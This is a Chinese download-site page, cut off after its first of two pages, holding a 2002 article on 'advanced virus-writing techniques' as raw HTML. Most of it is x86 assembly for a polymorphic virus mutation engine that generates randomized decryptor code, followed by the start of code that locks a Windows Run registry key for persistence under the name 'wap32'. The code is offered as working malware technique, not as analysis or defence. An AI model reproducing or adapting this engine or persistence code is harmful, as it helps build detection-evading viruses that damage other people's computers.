⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄

📁 熟悉病毒原理
💻
📖 第 1 页 / 共 2 页
字号:
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
<meta name="Microsoft Theme" content="-4 011">
</head>

<body background="file:///C:/WINDOWS/TEMP/FrontPageTempDir/mstheme/-4/标4.jpg" bgcolor="#FFFFFF" text="#CCCCCC" link="#FFFFFF" vlink="#CCCCCC" alink="#FFFFFF">

<!--mstheme--><font face="宋体">
<p class="mtext"><!--textbegin--><font size="3" color="#FFFFFF"><b>
          病毒的高级编写技巧
          </b></font>
</p>

<p class="mtext">&nbsp;Author:&nbsp;&nbsp;whg<br>
Email:&nbsp;&nbsp;&nbsp;whg@whitecell.org<br>
Homepage:http://www.whitecell.org&nbsp;<br>
Date:&nbsp;&nbsp;&nbsp;&nbsp;2002-05-24<br>
<br>
<br>
<br>
1、超级病毒变形引擎<br>
<br>
此段代码会在DATA段内生成一个解密代码。&nbsp;<br>
<br>
.586p&nbsp;<br>
.model&nbsp;flat,STDCALL&nbsp;<br>
extrn&nbsp;ExitProcess:&nbsp;proc&nbsp;<br>
VirusSize=100h&nbsp;<br>
.data&nbsp;<br>
<br>
DecodeMethod&nbsp;dd&nbsp;?&nbsp;<br>
DeCode:&nbsp;<br>
pushad&nbsp;<br>
call&nbsp;Encode&nbsp;<br>
db&nbsp;100h&nbsp;dup(11h)&nbsp;<br>
Encode:&nbsp;<br>
db&nbsp;100h&nbsp;dup(0cch)&nbsp;<br>
RndReg0&nbsp;dd&nbsp;0&nbsp;;eax&nbsp;<br>
RndReg1&nbsp;dd&nbsp;0&nbsp;;ebx&nbsp;<br>
RndCode&nbsp;dd&nbsp;0&nbsp;;Rnd&nbsp;Code&nbsp;<br>
RndMima&nbsp;dd&nbsp;60932561&nbsp;;Rnd&nbsp;Password&nbsp;<br>
<br>
.code&nbsp;<br>
@@Start:&nbsp;<br>
mov&nbsp;eax,RndMima&nbsp;<br>
ror&nbsp;eax,7&nbsp;<br>
mov&nbsp;RndCode,eax&nbsp;<br>
<br>
mov&nbsp;eax,RndCode&nbsp;<br>
mov&nbsp;ecx,eax&nbsp;<br>
and&nbsp;eax,011b&nbsp;<br>
mov&nbsp;RndReg0,eax&nbsp;<br>
xor&nbsp;ecx,RndMima&nbsp;<br>
and&nbsp;ecx,011b&nbsp;<br>
cmp&nbsp;eax,ecx&nbsp;<br>
jnz&nbsp;short&nbsp;ChooseRegOk&nbsp;<br>
inc&nbsp;ecx&nbsp;<br>
and&nbsp;ecx,011b&nbsp;<br>
ChooseRegOk:&nbsp;<br>
mov&nbsp;RndReg1,ecx&nbsp;<br>
<br>
<br>
mov&nbsp;edi,offset&nbsp;Encode&nbsp;<br>
<br>
ror&nbsp;RndCode,1&nbsp;<br>
call&nbsp;GetBxCode,0,RndReg0,RndCode&nbsp;<br>
mov&nbsp;esi,eax&nbsp;<br>
ContFillStep0:&nbsp;<br>
cld&nbsp;<br>
lodsb&nbsp;<br>
stosb&nbsp;<br>
cmp&nbsp;al,0cch&nbsp;<br>
jnz&nbsp;ContFillStep0&nbsp;<br>
dec&nbsp;edi&nbsp;<br>
<br>
ror&nbsp;RndCode,1&nbsp;<br>
call&nbsp;GetBxCode,1,RndReg1,RndCode&nbsp;<br>
mov&nbsp;esi,eax&nbsp;<br>
ContFillStep1:&nbsp;<br>
cld&nbsp;<br>
lodsb&nbsp;<br>
stosb&nbsp;<br>
cmp&nbsp;al,0cch&nbsp;<br>
jnz&nbsp;ContFillStep1&nbsp;<br>
dec&nbsp;edi&nbsp;<br>
<br>
mov&nbsp;ebx,edi&nbsp;;//计算机Jmp指令用&nbsp;<br>
<br>
ror&nbsp;RndCode,1&nbsp;<br>
call&nbsp;GetBxCode,2,RndReg0,RndCode&nbsp;<br>
mov&nbsp;esi,eax&nbsp;<br>
ContFillStep2:&nbsp;<br>
cld&nbsp;<br>
lodsb&nbsp;<br>
stosb&nbsp;<br>
cmp&nbsp;al,0cch&nbsp;<br>
jnz&nbsp;ContFillStep2&nbsp;<br>
dec&nbsp;edi&nbsp;<br>
<br>
mov&nbsp;eax,RndMima&nbsp;<br>
mov&nbsp;[edi-4],eax&nbsp;;//填写随机密码&nbsp;<br>
mov&nbsp;eax,RndCode&nbsp;<br>
and&nbsp;eax,01&nbsp;<br>
mov&nbsp;DecodeMethod,eax&nbsp;;//填写DeCode方法&nbsp;<br>
<br>
ror&nbsp;RndCode,1&nbsp;<br>
call&nbsp;GetBxCode,3,RndReg0,RndCode&nbsp;<br>
mov&nbsp;esi,eax&nbsp;<br>
ContFillStep3:&nbsp;<br>
cld&nbsp;<br>
lodsb&nbsp;<br>
stosb&nbsp;<br>
cmp&nbsp;al,0cch&nbsp;<br>
jnz&nbsp;ContFillStep3&nbsp;<br>
dec&nbsp;edi&nbsp;<br>
<br>
ror&nbsp;RndCode,1&nbsp;<br>
call&nbsp;GetBxCode,4,RndReg1,RndCode&nbsp;<br>
mov&nbsp;esi,eax&nbsp;<br>
ContFillStep4:&nbsp;<br>
cld&nbsp;<br>
lodsb&nbsp;<br>
stosb&nbsp;<br>
cmp&nbsp;al,0cch&nbsp;<br>
jnz&nbsp;ContFillStep4&nbsp;<br>
dec&nbsp;edi&nbsp;<br>
<br>
ror&nbsp;RndCode,1&nbsp;<br>
call&nbsp;GetBxCode,5,RndReg0,RndCode&nbsp;<br>
mov&nbsp;esi,eax&nbsp;<br>
ContFillStep5:&nbsp;<br>
cld&nbsp;<br>
lodsb&nbsp;<br>
stosb&nbsp;<br>
cmp&nbsp;al,0cch&nbsp;<br>
jnz&nbsp;ContFillStep5&nbsp;<br>
dec&nbsp;edi&nbsp;<br>
<br>
mov&nbsp;al,0c3h&nbsp;<br>
mov&nbsp;[edi],al&nbsp;;//填写Ret指令&nbsp;<br>
<br>
sub&nbsp;ebx,edi&nbsp;<br>
mov&nbsp;[edi-1],bl&nbsp;;//填写jmp指令&nbsp;<br>
<br>
int&nbsp;3;&nbsp;<br>
<br>
jmp&nbsp;DeCode&nbsp;<br>
ret&nbsp;<br>
GetBxCode&nbsp;proc&nbsp;uses&nbsp;ebx&nbsp;ecx&nbsp;edx&nbsp;esi&nbsp;edi,Step:dword,Reg:dword,Rnd:dword&nbsp;<br>
call&nbsp;GetBxCodeAddr&nbsp;<br>
Step0_Eax:&nbsp;<br>
mov&nbsp;eax,[esp]&nbsp;<br>
int&nbsp;3;&nbsp;<br>
pop&nbsp;eax&nbsp;<br>
push&nbsp;eax&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step0_Ebx:&nbsp;<br>
pop&nbsp;ebx&nbsp;<br>
push&nbsp;ebx&nbsp;<br>
int&nbsp;3;&nbsp;<br>
push&nbsp;dword&nbsp;ptr[esp]&nbsp;<br>
pop&nbsp;ebx&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step0_Ecx:&nbsp;<br>
mov&nbsp;ecx,[esp]&nbsp;<br>
int&nbsp;3;&nbsp;<br>
pop&nbsp;ecx&nbsp;<br>
push&nbsp;ecx&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step0_Edx:&nbsp;<br>
mov&nbsp;edx,[esp]&nbsp;<br>
int&nbsp;3;&nbsp;<br>
mov&nbsp;edx,esp&nbsp;<br>
mov&nbsp;edx,[edx]&nbsp;<br>
int&nbsp;3&nbsp;<br>
<br>
Step1_Eax:&nbsp;<br>
mov&nbsp;eax,VirusSize&nbsp;<br>
int&nbsp;3&nbsp;<br>
sub&nbsp;eax,eax&nbsp;<br>
add&nbsp;ax,VirusSize+3081h&nbsp;<br>
sub&nbsp;ax,3081h&nbsp;<br>
int&nbsp;3&nbsp;<br>
Step1_Ebx:&nbsp;<br>
mov&nbsp;ebx,VirusSize&nbsp;<br>
int&nbsp;3;&nbsp;<br>
xor&nbsp;ebx,ebx&nbsp;<br>
or&nbsp;bx,VirusSize&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step1_Ecx:&nbsp;<br>
sub&nbsp;ecx,ecx&nbsp;<br>
xor&nbsp;ecx,(VirusSize&nbsp;xor&nbsp;3181h)&nbsp;<br>
xor&nbsp;ecx,(3181h)&nbsp;<br>
int&nbsp;3;&nbsp;<br>
mov&nbsp;ecx,0&nbsp;<br>
and&nbsp;cx,VirusSize&nbsp;<br>
int&nbsp;3&nbsp;<br>
Step1_Edx:&nbsp;<br>
and&nbsp;edx,0&nbsp;<br>
xor&nbsp;dx,(VirusSize-0281h)&nbsp;<br>
add&nbsp;dx,0281h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
xor&nbsp;edx,edx&nbsp;<br>
sub&nbsp;edx,(0181h-VirusSize)&nbsp;<br>
sub&nbsp;edx,-0181h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
<br>
Setp2_Eax:&nbsp;<br>
xor&nbsp;[eax],12345678h&nbsp;<br>
int&nbsp;3&nbsp;<br>
add&nbsp;[eax],12345678h&nbsp;<br>
int&nbsp;3&nbsp;<br>
Setp2_Ebx:&nbsp;<br>
xor&nbsp;[ebx],12345678h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
add&nbsp;[ebx],12345678h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
<br>
Setp2_Ecx:&nbsp;<br>
xor&nbsp;[ecx],12345678h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
add&nbsp;[ecx],12345678h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Setp2_Edx:&nbsp;<br>
xor&nbsp;[edx],12345678h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
add&nbsp;[edx],12345678h&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step3_Eax:&nbsp;<br>
add&nbsp;eax,4&nbsp;<br>
int&nbsp;3&nbsp;<br>
inc&nbsp;eax&nbsp;<br>
inc&nbsp;eax&nbsp;<br>
inc&nbsp;eax&nbsp;<br>
inc&nbsp;eax&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step3_Ebx:&nbsp;<br>
add&nbsp;ebx,5&nbsp;<br>
dec&nbsp;ebx&nbsp;<br>
int&nbsp;3&nbsp;<br>
add&nbsp;ebx,2&nbsp;<br>
add&nbsp;ebx,2&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step3_Ecx:&nbsp;<br>
sub&nbsp;ecx,-4&nbsp;<br>
int&nbsp;3&nbsp;<br>
sub&nbsp;ecx,-5&nbsp;<br>
dec&nbsp;ecx&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step3_Edx:&nbsp;<br>
inc&nbsp;edx&nbsp;<br>
sub&nbsp;edx,-3&nbsp;<br>
int&nbsp;3&nbsp;<br>
add&nbsp;edx,04&nbsp;<br>
int&nbsp;3;&nbsp;<br>
<br>
Step4_Eax:&nbsp;<br>
sub&nbsp;eax,4&nbsp;<br>
int&nbsp;3&nbsp;<br>
dec&nbsp;eax&nbsp;<br>
dec&nbsp;eax&nbsp;<br>
dec&nbsp;eax&nbsp;<br>
sub&nbsp;eax,1&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step4_Ebx:&nbsp;<br>
dec&nbsp;ebx&nbsp;<br>
sub&nbsp;ebx,3&nbsp;<br>
int&nbsp;3;&nbsp;<br>
dec&nbsp;ebx&nbsp;<br>
dec&nbsp;ebx&nbsp;<br>
sub&nbsp;ebx,2&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step4_Ecx:&nbsp;<br>
add&nbsp;cx,123&nbsp;<br>
sub&nbsp;cx,123+4&nbsp;<br>
int&nbsp;3&nbsp;<br>
sub&nbsp;cx,-4&nbsp;<br>
dec&nbsp;cx&nbsp;<br>
sub&nbsp;cx,7&nbsp;<br>
int&nbsp;3&nbsp;<br>
Step4_Edx:&nbsp;<br>
sub&nbsp;dx,2&nbsp;<br>
dec&nbsp;dx&nbsp;<br>
sub&nbsp;dx,1&nbsp;<br>
int&nbsp;3&nbsp;<br>
inc&nbsp;edx&nbsp;<br>
sub&nbsp;dx,5&nbsp;<br>
int&nbsp;3;&nbsp;<br>
Step5_Eax:&nbsp;<br>
jnz&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
ja&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
Step5_Ebx:&nbsp;<br>
jg&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
jnb&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
Step5_Ecx:&nbsp;<br>
jnl&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
jnz&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
Step5_Edx:&nbsp;<br>
ja&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
jg&nbsp;$&nbsp;<br>
int&nbsp;3&nbsp;<br>
<br>
GetBxCodeAddr:&nbsp;<br>
pop&nbsp;esi&nbsp;<br>
mov&nbsp;al,0cch&nbsp;;//指令分割符&nbsp;<br>
mov&nbsp;ecx,Step&nbsp;<br>
shl&nbsp;ecx,1&nbsp;<br>
shl&nbsp;ecx,1&nbsp;<br>
add&nbsp;ecx,Reg&nbsp;;//计算机得到的指令位置&nbsp;<br>
shl&nbsp;ecx,1&nbsp;<br>
and&nbsp;Rnd,01b&nbsp;<br>
add&nbsp;ecx,Rnd&nbsp;<br>
jcxz&nbsp;short&nbsp;GetBxCodeOver&nbsp;<br>
ContFindCode:&nbsp;<br>
push&nbsp;ecx&nbsp;<br>
ContFindCC:&nbsp;<br>
inc&nbsp;esi&nbsp;<br>
cmp&nbsp;[esi],al&nbsp;<br>
jnz&nbsp;ContFindCC&nbsp;<br>
pop&nbsp;ecx&nbsp;<br>
loop&nbsp;ContFindCode&nbsp;<br>
mov&nbsp;eax,esi&nbsp;<br>
inc&nbsp;eax&nbsp;<br>
ret&nbsp;<br>
GetBxCodeOver:&nbsp;<br>
mov&nbsp;eax,esi&nbsp;<br>
ret&nbsp;<br>
GetBxCode&nbsp;endp&nbsp;<br>
<br>
<br>
end&nbsp;@@Start&nbsp;<br>
<br>
<br>
2、Windows&nbsp;9x/2000/xp&nbsp;琐定注册表<br>
<br>
.586p&nbsp;<br>
.model&nbsp;flat,STDCALL&nbsp;<br>
.data&nbsp;<br>
<br>
HKeyStr&nbsp;db&nbsp;'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0&nbsp;<br>
ValueName&nbsp;db&nbsp;'wap32',0&nbsp;<br>
PathName&nbsp;db&nbsp;'wap32.exe',0&nbsp;<br>
<br>
.code&nbsp;<br>
<br>
extrn&nbsp;RegOpenKeyA:&nbsp;proc&nbsp;<br>
extrn&nbsp;RegSetValueExA:&nbsp;proc&nbsp;<br>
extrn&nbsp;RegCloseKey:&nbsp;proc&nbsp;<br>
extrn&nbsp;ExitProcess:&nbsp;proc&nbsp;<br>
extrn&nbsp;RegNotifyChangeKeyValue:&nbsp;proc&nbsp;<br>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -